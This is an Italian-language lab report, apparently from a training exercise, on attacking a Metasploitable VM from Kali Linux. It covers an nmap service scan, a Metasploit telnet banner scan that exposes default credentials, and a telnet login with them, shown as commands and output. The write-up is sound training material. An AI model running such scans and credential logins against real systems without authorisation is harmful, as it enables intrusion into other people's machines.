

Report Hacking to Metasploitable

Configurazione indirizzo IP della macchina **Metasploitable**.

```
To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$ ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:83:a5:ee
          inet addr:192.168.2.40  Bcast:192.168.2.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe83:a5ee/64  Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:27 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:0 (0.0 B)  TX bytes:2954 (2.8 KB)
          Base address:0xd010  Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128  Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:92 errors:0 dropped:0 overruns:0 frame:0
          TX packets:92 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:19393 (18.9 KB)  TX bytes:19393 (18.9 KB)

msfadmin@metasploitable:~$
```

Configurazione indirizzo IP della macchina **Kali Linux**.

```
ifconfig
flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
  inet 192.168.2.25  netmask 255.255.255.0  broadcast 192.168.2.255
  inet6 fe80::a00:27ff:fe2b:7e2e  prefixlen 64  scopeid 0x20<link>
  ether 08:00:27:2b:7e:2e  txqueuelen 1000  (Ethernet)
  RX packets 0  bytes 0 (0.0 B)
  RX errors 0  dropped 0  overruns 0  frame 0
  TX packets 18  bytes 3143 (3.0 KiB)
  TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
```

Scansione con **nmap** verso la macchina **Metasploitable** per identificare le **porte aperte** e in particolar modo la porta di nostro interesse che è la **porta n° 23**.

```
kali@kali: ~  
-- Edit View Help  
kali@kali:~$ nmap -sV -p- 192.168.2.40  
Nmap 7.94SVN ( https://nmap.org ) at 2024-07-09 11:25 EDT  
  
kali@kali:~$ nmap -sV 192.168.2.40  
Nmap 7.94SVN ( https://nmap.org ) at 2024-07-09 11:28 EDT  
report for 192.168.2.40 (192.168.2.40)  
p (0.0077s latency).  
: 977 closed tcp ports (conn-refused)  
STATE SERVICE VERSION  
open ftp vsftpd 2.3.4  
open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)  
open telnet Linux telnetd  
open smtp Postfix smtpd  
open domain ISC BIND 9.4.2  
open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)  
open rpcbind 2 (RPC #100000)  
open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)  
open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)  
open exec netkit-rsh rexecd  
open login OpenBSD or Solaris rlogind  
open shell Netkit rshd  
open java-rmi GNU Classpath grmiregistry  
open bindshell Metasploitable root shell  
open nfs 2-4 (RPC #100003)  
open ftp ProFTPD 1.3.1  
open mysql MySQL 5.0.51a-3ubuntu5  
open postgresql PostgreSQL DB 8.3.0 - 8.3.7  
open vnc VNC (protocol 3.3)  
open X11 (access denied)  
open irc UnrealIRCd  
open ajp13 Apache Jserv (Protocol v1.3)  
open http Apache Tomcat/Coyote JSP engine 1.1  
Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel  
Detection performed. Please report any incorrect results at https://nmap.org/submit/.  
: 1 IP address (1 host up) scanned in 15.33 seconds  
  
kali@kali:~$
```

Avvio di **msfconsole** tramite il comando “**msfconsole**”.

```
kali@kali:~$ msfconsole  
Metasploit tip: Open an interactive Ruby terminal with irb  
  
IIII dTb.dTb  
II 4' v 'B  
II 6. .P  
II 'T; .;P'  
II 'T; ;P'  
IIII 'Yvp'  
love shells --egypt  
  
--=[ metasploit v6.4.15-dev ]  
--=[ 2433 exploits - 1254 auxiliary - 428 post ]  
--=[ 1471 payloads - 47 encoders - 11 nops ]  
--=[ 9 evasion ]  
  
Metasploit Documentation: https://docs.metasploit.com/  
msf6 >
```

Ricerca dell’exploit telnet tramite il comando “**search auxiliary/scanner/telnet/telnet_version**”.

```
msf6 >search auxiliary/scanner/telnet/telnet_version  
  
Matching Modules  
-----  
# Name Disclosure Date Rank Check Description  
- - - - -  
0 auxiliary/scanner/telnet/telnet_version . normal No Telnet Service Banner Detection  
  
Interact with a module by name or index. For example info 0, use 0 or use auxiliary/scanner/telnet/telnet_version  
msf6 >
```

Scelta del payload “**search auxiliary/scanner/telnet/telnet_version**” tramite il codice di appartenenza “**0**”.

```
msf6 >search auxiliary/scanner/telnet/telnet_version

Matching Modules

#  Name                                     Disclosure Date  Rank  Check  Description
-  -                                     -              -    -    -
0  auxiliary/scanner/telnet/telnet_version  .              normal No     Telnet Service Banner Detection

Interact with a module by name or index. For example info 0, use 0 or use auxiliary/scanner/telnet/telnet_version

msf6 > use 0
msf6 auxiliary(scanner/telnet/telnet_version) > 
```

Esecuzione del comando “**show options**” per controllare che le configurazioni fossero giuste.

```
msf6 auxiliary(scanner/telnet/telnet_version) > show options

Module options (auxiliary/scanner/telnet/telnet_version):

Name      Current Setting  Required  Description
-  -  -  -  -
PASSWORD  no              no       The password for the specified username
RHOSTS    yes            yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT     23             yes       The target port (TCP)
THREADS   1              yes       The number of concurrent threads (max one per host)
TIMEOUT   30             yes       Timeout for the Telnet probe
USERNAME  no              no       The username to authenticate as

View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/telnet/telnet_version) > 
```

Esecuzione del comando “**set rhosts + indirizzo IP della macchina target**” per impostare e memorizzare **l’indirizzo IP del target** e successiva verifica dell’effettiva memorizzazione dell’IP tramite il comando “**show options**”.

```
msf6 auxiliary(scanner/telnet/telnet_version) > set RHOSTS 192.168.2.40
RHOSTS => 192.168.2.40
msf6 auxiliary(scanner/telnet/telnet_version) > show options

Module options (auxiliary/scanner/telnet/telnet_version):

Name      Current Setting  Required  Description
-  -  -  -  -
PASSWORD  no              no       The password for the specified username
RHOSTS    192.168.2.40    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT     23             yes       The target port (TCP)
THREADS   1              yes       The number of concurrent threads (max one per host)
TIMEOUT   30             yes       Timeout for the Telnet probe
USERNAME  no              no       The username to authenticate as

View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/telnet/telnet_version) > 
```

Esecuzione del comando “**run**” che equivale al comando “**exploit**”, dove entrambi eseguono l’attacco verso il target prescelto. Inoltre, come è possibile vedere tramite lo screen, il risultato mostra anche i dati di login che serviranno successivamente per entrare all’interno della macchina metasploitable.

```
msf6 auxiliary(scanner/telnet/telnet_version) > run

[*] 192.168.2.40:23 - 192.168.2.40:23 TELNET
Contact: msfdev[at]metasploit.com\x0a\x0aLogin with msfadmin/msfadmin to get started\x0a\x0aWarning: Never expose this VM to an untrusted network!\x0a\x0a
[*] 192.168.2.40:23 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/telnet/telnet_version) >
```

Effettiva avvenuta dell’attacco e ingresso all’interno della macchina metasploitable tramite i dati di login recuperati precedentemente, quali: **username(msfadmin)**, **password(msfadmin)**.

```
msf6 auxiliary(scanner/telnet/telnet_version) > telnet 192.168.2.40
[*] exec: telnet 192.168.2.40

Trying 192.168.2.40...
Connected to 192.168.2.40.
Escape character is '^]'.

metasploitable

Warning: Never expose this VM to an untrusted network!

Contact: msfdev[at]metasploit.com

Login with msfadmin/msfadmin to get started

metasploitable login: msfadmin
Password:
Last login: Tue Jul 9 11:10:39 EDT 2024 on tty1
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$
```